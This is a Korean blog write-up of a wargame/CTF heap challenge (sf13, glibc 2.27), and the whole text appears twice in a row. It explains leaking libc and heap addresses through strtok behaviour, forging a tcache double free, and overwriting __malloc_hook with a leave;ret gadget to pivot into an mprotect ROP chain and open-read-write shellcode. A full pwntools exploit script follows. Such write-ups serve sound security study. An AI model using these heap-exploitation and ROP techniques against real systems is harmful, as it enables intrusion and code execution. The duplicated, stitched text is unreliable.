22. 07. 08 calloc vulnerbility 가 아닌 calloc flow를 이용한 exploit입니다
glibc-2.27
#1. 문제 살펴보기



seccomp 에 관한 정리글
[ 여기다가 링크 넣자 ! ]
#2. 문제 분석하기
이 문제는 strtok 함수의 취약점과 Tcache DFB, Calloc 함수의 복귀 원리를 이용하여
Tcahce DFB : https://sf-jam.tistory.com/12?category=822170
strtok vulnerability : https://sf-jam.tistory.com/71?category=822170
calloc flow : https://sf-jam.tistory.com/70
orw를 통해 flag 값을 읽어오는 문제이다.
위의 취약점을 활용할 곳은 다음과 같다
1. alloc 함수에서 strtok 를 통해 bk 값을 가르키게 할 수 있다

strtok 함수 실행 후 문자열의 마지막 null pointer을 가르킨 채 종료되는걸 이용하자
datas 에 a*8 를 전달한 후 해당 청크를 free 하게 되면
unsorted bin 으로 들어가면서 fd와 bk 에 main_arena 가 남게 되는데
strtok 는 a*8 뒤에 있는 null 을 가르키고 있다
(즉, unsorted bin chunk의 bk 위치)
이후 다시 alloc 을 할 때 size 값에 음수값을 넣게되면
( 검증 루틴에서 음수값 대입 기회를 2번 준다 )
data 값 출력 루틴에서 bk에 적혀있는 main_arena 값이 leak 된다

추가로 위를 활용하여 PIE 가 걸려있는 바이너리의 heap base도 leak 할 수 있다

위 그림처럼 0x20 크기의 chunk 를 두 개이상 free 시켜
fd 값에 heap 주소를 남겨두고 읽어오면 된다.
여기서 leak하기 위해 약간의 트릭이 사용되는데

datas 값에 있는 개행문자는 null 값으로 바꿔주기 때문에
strtok은 chunk의 fd 위치를 가르키고 있게 된다.
2. strtok 함수를 통해 기준 문자를 null 값으로 바꿀 수 있다.


이 반복문은 보다시피 ' ; ' 문자를 기준으로 문자열을 분리해주는 코드이다
이렇게 구분해주는 원리는 ' ; ' 를 NULL 값으로 바꾸어 문자열을 구분한다
즉, strtok 가 가르키고 있는 포인터에 문자열이 있고
그 문자열에 ' ; ' 문자 (아스키코드로 '0x3b')가 있다면
NULL 값으로 바꾼다
만약 A와 B chunk 가 tcache bin 에 들어가 있는데
A의 fd 값을 A로 변경한다면 double free 한 것과 동일한 상태가 된다

따라서 fd 값은 strtok 를 이용하여 ' 0x3b' 부분을 '0x00' 바꾸게하여
tcache DFB 를 발생시키면 된다.
3. calloc flow를 이용하여 rsp control 을 한다
게시해놓은 글을 통해서 알 수 있겠지만
malloc_hook 에 leave_ret gadget 을 덮어놓으면
size 값을 rbp 로 반환하는 calloc 이 malloc_hook 을 호출하면서
[ leave ]
mov rsp, rbp
pop rbp
를 진행하게 되고 이 때 rsp 가 size 값으로 적어둔 곳을 가르키게 된다
[ ret ]
mov eip, rsp
jmp eip
를 통해 ROP payload 가 실행되겠다
이 뒤로는 mprotect 를 호출하여 heap영역에 실행권한을 얻은 뒤
미리 올려둔 shellcode를 실행시키면 되겠다.
#3. 삽질
# 생각보다 # 귀찮음
strtok가 ' ; ' 를 NULL 값으로 바꾸는 부분을 활용하여
tcache DFB 를 일으킬 때 적절한 offset 계산이 필요하다
fd값에 0x3b 라는 값을 남겨야 하기 때문이다

leak한 heap 주소를 기준으로 가장 마지막으로 사용된 heap 주소를 구한 다음
0x00이 포함될 heap 주소 하나와
0x3b가 포함될 heap 주소 하나를 구해서
0x3b 주솟값이 0x00 이 들어가게 되어 DFB를 일으킬 수 있도록 잘 조작해야 한다.
# 세상 # 어이없음
shellcode를 올려두고 shellcode 를 실행시키려면
마지막으로 jmp 하는 주소가 쉘코드가 들어있는 주소여야 한다
즉, 마지막으로 실행한 gadget 뒤에 바로 shellcode 가 있는 것이 아니라
shellcode가 있는 주솟값을 주어야한다
( LOB 풀 때 익힌 것이지만 누구나 어이없는 실수를 할 때가 있다 )

#4. Exploit Code
from pwn import*
p = process('./sf13')
elf = ELF('./sf13',checksec=False)
context(arch = 'amd64', os = 'linux')
sleep(0.3)
t = 0
### def
def menu(sel):
p.sendlineafter('> ',str(sel))
def alloc(size1,datas,yn1,size2,yn2):
menu(1)
p.sendlineafter('size : ',str(size1))
p.sendlineafter('datas : ',datas)
p.sendlineafter('(y/n) ',yn1)
if yn1 == 'y':
p.sendlineafter('size : ',str(size2));
p.sendlineafter('(y/n) ',yn2)
def delete(index):
menu(2)
p.sendlineafter('index : ',str(index))
### exploit
# libc leak
alloc(0x500,'aaaaaaaa','y',8,'y') # make unsorted bin
menu(1)
p.sendlineafter('size : ','-1');sleep(t)# strtok vulnablity : libc leak
p.sendline('n');sleep(t);
p.sendline('n');sleep(t);
p.recvuntil('data : ')
main_arena_96 = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_arena_96 - 0x3ebca0
log.info("libc_base : {}".format(hex(libc_base)))
log.info("main_arnea : {}".format(hex(main_arena_96)))
# heap leak
alloc(0x500,'a','n',0,'n') # delete unsorted bin becase i dont want to allocate in unsorted bin
menu(1)
p.sendlineafter(' : ',str(0x10)) # make tcache bin stage 1
p.sendlineafter('datas : ','')
p.sendlineafter(') ','y');sleep(t)
menu(1)
p.sendlineafter(' : ',str(0x10)) # make tcache bin stage 2
p.sendlineafter('datas : ','')
p.sendlineafter(') ','y');sleep(t)
menu(1)
p.sendlineafter(' : ','-1') # strtok vulnablity : heap leak
p.sendline('n')
p.sendline('n')
p.recvuntil('target data : ')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
top_heap = heap_addr - 0x260
heap_base = top_heap - 0x530
log.info("heap_base : {}".format(hex(heap_base)))
log.info("top_heap : {}".format(hex(top_heap)))
# shellcode payload
shellcode = ''
shellcode += asm('add rsp, 0x300')
shellcode += asm(shellcraft.open("/home/sf13/flag"))
shellcode += asm(shellcraft.read("rax",heap_base+0x3000,0x100))
shellcode += asm(shellcraft.write(1,heap_base+0x3000,0x100))
# ROP payload
pop_rax = libc_base + 0x439c8
pop_rdi = libc_base + 0x2155f
pop_rsi = libc_base + 0x23e6a
pop_rdx = libc_base + 0x1b96
libc_mprotect = libc_base + 0x11bae0
pay = ''
pay += 'X'*8
pay += p64(pop_rdi)
pay += p64(heap_base)
pay += p64(pop_rsi)
pay += p64(0x30000)
pay += p64(pop_rdx)
pay += p64(7)
pay += p64(libc_mprotect)
pay += p64(heap_base + 2000+0x100)
pay += '\x90'*(0x100-len(pay))
pay += shellcode
# double free
last_heap = top_heap + 0x2a0
offset = 0
while True: # 0x00xx
tmp = hex(last_heap+offset)
if tmp[-3] == '0' and tmp[-4] == '0':
break
offset += 0x100
offset = offset - 0x1000
alloc(offset-0x10,pay,'n',0,'n') # upload exploit payload
alloc(0x1000,'a','y',0x500,'n') # heap page + 0x1000
last_heap = last_heap + offset + 0x1500
offset = 0
while True: # 0x3bxx
tmp = hex(last_heap+offset)
if tmp[-3] == 'b' and tmp[-4] == '3':
break
offset += 0x100
print(tmp)
alloc(offset-0x20,'a','n',0,'n')
alloc(0x30,'a','n',0,'y') # tcache bin [0x40]
delete(1)
menu(1)
p.sendlineafter(' : ','48') # '0xcb' -> '0x00' stage 1
p.sendline('')
p.sendlineafter(')','y')
menu(1)
p.sendlineafter(' : ','-1') # '0xcb' -> '0x00' stage 2
p.sendlineafter(') ','n')
p.sendline('n')
p.sendline('n')
# malloc hook overwrite
malloc_hook = libc_base + 0x3ebc30
leave_ret = libc_base + 0x54803
alloc(0x100,p64(malloc_hook),'y',0x30,'n')
alloc(0x100,'a','y',0x30,'n')
alloc(0x100,p64(leave_ret),'y',0x30,'n')
p.sendlineafter('> ','1');sleep(t)
p.sendlineafter(' : ',str(heap_base+2000)) # input size = rbp
print(hex(heap_base + 2000))
p.interactive()
'SecurityFactorial > SF System Loadmap' 카테고리의 다른 글
[ 15 ] Exit Exploit & Reverse Shellcode (0) | 2020.05.14 |
---|---|
[ 14 ] SUper Stack Pivot (0) | 2020.04.29 |
[ 12 - 2 ] FSB exit exploit hard (0) | 2020.04.29 |
[ 12 - 1 ] fsb exit exploit easy 미완 (0) | 2020.04.29 |
[ 11 ] IO_buf_end overwrite & unsorted bin attack (0) | 2020.04.29 |
22. 07. 08 calloc vulnerbility 가 아닌 calloc flow를 이용한 exploit입니다
glibc-2.27
#1. 문제 살펴보기



seccomp 에 관한 정리글
[ 여기다가 링크 넣자 ! ]
#2. 문제 분석하기
이 문제는 strtok 함수의 취약점과 Tcache DFB, Calloc 함수의 복귀 원리를 이용하여
Tcahce DFB : https://sf-jam.tistory.com/12?category=822170
strtok vulnerability : https://sf-jam.tistory.com/71?category=822170
calloc flow : https://sf-jam.tistory.com/70
orw를 통해 flag 값을 읽어오는 문제이다.
위의 취약점을 활용할 곳은 다음과 같다
1. alloc 함수에서 strtok 를 통해 bk 값을 가르키게 할 수 있다

strtok 함수 실행 후 문자열의 마지막 null pointer을 가르킨 채 종료되는걸 이용하자
datas 에 a*8 를 전달한 후 해당 청크를 free 하게 되면
unsorted bin 으로 들어가면서 fd와 bk 에 main_arena 가 남게 되는데
strtok 는 a*8 뒤에 있는 null 을 가르키고 있다
(즉, unsorted bin chunk의 bk 위치)
이후 다시 alloc 을 할 때 size 값에 음수값을 넣게되면
( 검증 루틴에서 음수값 대입 기회를 2번 준다 )
data 값 출력 루틴에서 bk에 적혀있는 main_arena 값이 leak 된다

추가로 위를 활용하여 PIE 가 걸려있는 바이너리의 heap base도 leak 할 수 있다

위 그림처럼 0x20 크기의 chunk 를 두 개이상 free 시켜
fd 값에 heap 주소를 남겨두고 읽어오면 된다.
여기서 leak하기 위해 약간의 트릭이 사용되는데

datas 값에 있는 개행문자는 null 값으로 바꿔주기 때문에
strtok은 chunk의 fd 위치를 가르키고 있게 된다.
2. strtok 함수를 통해 기준 문자를 null 값으로 바꿀 수 있다.


이 반복문은 보다시피 ' ; ' 문자를 기준으로 문자열을 분리해주는 코드이다
이렇게 구분해주는 원리는 ' ; ' 를 NULL 값으로 바꾸어 문자열을 구분한다
즉, strtok 가 가르키고 있는 포인터에 문자열이 있고
그 문자열에 ' ; ' 문자 (아스키코드로 '0x3b')가 있다면
NULL 값으로 바꾼다
만약 A와 B chunk 가 tcache bin 에 들어가 있는데
A의 fd 값을 A로 변경한다면 double free 한 것과 동일한 상태가 된다

따라서 fd 값은 strtok 를 이용하여 ' 0x3b' 부분을 '0x00' 바꾸게하여
tcache DFB 를 발생시키면 된다.
3. calloc flow를 이용하여 rsp control 을 한다
게시해놓은 글을 통해서 알 수 있겠지만
malloc_hook 에 leave_ret gadget 을 덮어놓으면
size 값을 rbp 로 반환하는 calloc 이 malloc_hook 을 호출하면서
[ leave ]
mov rsp, rbp
pop rbp
를 진행하게 되고 이 때 rsp 가 size 값으로 적어둔 곳을 가르키게 된다
[ ret ]
mov eip, rsp
jmp eip
를 통해 ROP payload 가 실행되겠다
이 뒤로는 mprotect 를 호출하여 heap영역에 실행권한을 얻은 뒤
미리 올려둔 shellcode를 실행시키면 되겠다.
#3. 삽질
# 생각보다 # 귀찮음
strtok가 ' ; ' 를 NULL 값으로 바꾸는 부분을 활용하여
tcache DFB 를 일으킬 때 적절한 offset 계산이 필요하다
fd값에 0x3b 라는 값을 남겨야 하기 때문이다

leak한 heap 주소를 기준으로 가장 마지막으로 사용된 heap 주소를 구한 다음
0x00이 포함될 heap 주소 하나와
0x3b가 포함될 heap 주소 하나를 구해서
0x3b 주솟값이 0x00 이 들어가게 되어 DFB를 일으킬 수 있도록 잘 조작해야 한다.
# 세상 # 어이없음
shellcode를 올려두고 shellcode 를 실행시키려면
마지막으로 jmp 하는 주소가 쉘코드가 들어있는 주소여야 한다
즉, 마지막으로 실행한 gadget 뒤에 바로 shellcode 가 있는 것이 아니라
shellcode가 있는 주솟값을 주어야한다
( LOB 풀 때 익힌 것이지만 누구나 어이없는 실수를 할 때가 있다 )

#4. Exploit Code
from pwn import*
p = process('./sf13')
elf = ELF('./sf13',checksec=False)
context(arch = 'amd64', os = 'linux')
sleep(0.3)
t = 0
### def
def menu(sel):
p.sendlineafter('> ',str(sel))
def alloc(size1,datas,yn1,size2,yn2):
menu(1)
p.sendlineafter('size : ',str(size1))
p.sendlineafter('datas : ',datas)
p.sendlineafter('(y/n) ',yn1)
if yn1 == 'y':
p.sendlineafter('size : ',str(size2));
p.sendlineafter('(y/n) ',yn2)
def delete(index):
menu(2)
p.sendlineafter('index : ',str(index))
### exploit
# libc leak
alloc(0x500,'aaaaaaaa','y',8,'y') # make unsorted bin
menu(1)
p.sendlineafter('size : ','-1');sleep(t)# strtok vulnablity : libc leak
p.sendline('n');sleep(t);
p.sendline('n');sleep(t);
p.recvuntil('data : ')
main_arena_96 = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_arena_96 - 0x3ebca0
log.info("libc_base : {}".format(hex(libc_base)))
log.info("main_arnea : {}".format(hex(main_arena_96)))
# heap leak
alloc(0x500,'a','n',0,'n') # delete unsorted bin becase i dont want to allocate in unsorted bin
menu(1)
p.sendlineafter(' : ',str(0x10)) # make tcache bin stage 1
p.sendlineafter('datas : ','')
p.sendlineafter(') ','y');sleep(t)
menu(1)
p.sendlineafter(' : ',str(0x10)) # make tcache bin stage 2
p.sendlineafter('datas : ','')
p.sendlineafter(') ','y');sleep(t)
menu(1)
p.sendlineafter(' : ','-1') # strtok vulnablity : heap leak
p.sendline('n')
p.sendline('n')
p.recvuntil('target data : ')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
top_heap = heap_addr - 0x260
heap_base = top_heap - 0x530
log.info("heap_base : {}".format(hex(heap_base)))
log.info("top_heap : {}".format(hex(top_heap)))
# shellcode payload
shellcode = ''
shellcode += asm('add rsp, 0x300')
shellcode += asm(shellcraft.open("/home/sf13/flag"))
shellcode += asm(shellcraft.read("rax",heap_base+0x3000,0x100))
shellcode += asm(shellcraft.write(1,heap_base+0x3000,0x100))
# ROP payload
pop_rax = libc_base + 0x439c8
pop_rdi = libc_base + 0x2155f
pop_rsi = libc_base + 0x23e6a
pop_rdx = libc_base + 0x1b96
libc_mprotect = libc_base + 0x11bae0
pay = ''
pay += 'X'*8
pay += p64(pop_rdi)
pay += p64(heap_base)
pay += p64(pop_rsi)
pay += p64(0x30000)
pay += p64(pop_rdx)
pay += p64(7)
pay += p64(libc_mprotect)
pay += p64(heap_base + 2000+0x100)
pay += '\x90'*(0x100-len(pay))
pay += shellcode
# double free
last_heap = top_heap + 0x2a0
offset = 0
while True: # 0x00xx
tmp = hex(last_heap+offset)
if tmp[-3] == '0' and tmp[-4] == '0':
break
offset += 0x100
offset = offset - 0x1000
alloc(offset-0x10,pay,'n',0,'n') # upload exploit payload
alloc(0x1000,'a','y',0x500,'n') # heap page + 0x1000
last_heap = last_heap + offset + 0x1500
offset = 0
while True: # 0x3bxx
tmp = hex(last_heap+offset)
if tmp[-3] == 'b' and tmp[-4] == '3':
break
offset += 0x100
print(tmp)
alloc(offset-0x20,'a','n',0,'n')
alloc(0x30,'a','n',0,'y') # tcache bin [0x40]
delete(1)
menu(1)
p.sendlineafter(' : ','48') # '0xcb' -> '0x00' stage 1
p.sendline('')
p.sendlineafter(')','y')
menu(1)
p.sendlineafter(' : ','-1') # '0xcb' -> '0x00' stage 2
p.sendlineafter(') ','n')
p.sendline('n')
p.sendline('n')
# malloc hook overwrite
malloc_hook = libc_base + 0x3ebc30
leave_ret = libc_base + 0x54803
alloc(0x100,p64(malloc_hook),'y',0x30,'n')
alloc(0x100,'a','y',0x30,'n')
alloc(0x100,p64(leave_ret),'y',0x30,'n')
p.sendlineafter('> ','1');sleep(t)
p.sendlineafter(' : ',str(heap_base+2000)) # input size = rbp
print(hex(heap_base + 2000))
p.interactive()
'SecurityFactorial > SF System Loadmap' 카테고리의 다른 글
[ 15 ] Exit Exploit & Reverse Shellcode (0) | 2020.05.14 |
---|---|
[ 14 ] SUper Stack Pivot (0) | 2020.04.29 |
[ 12 - 2 ] FSB exit exploit hard (0) | 2020.04.29 |
[ 12 - 1 ] fsb exit exploit easy 미완 (0) | 2020.04.29 |
[ 11 ] IO_buf_end overwrite & unsorted bin attack (0) | 2020.04.29 |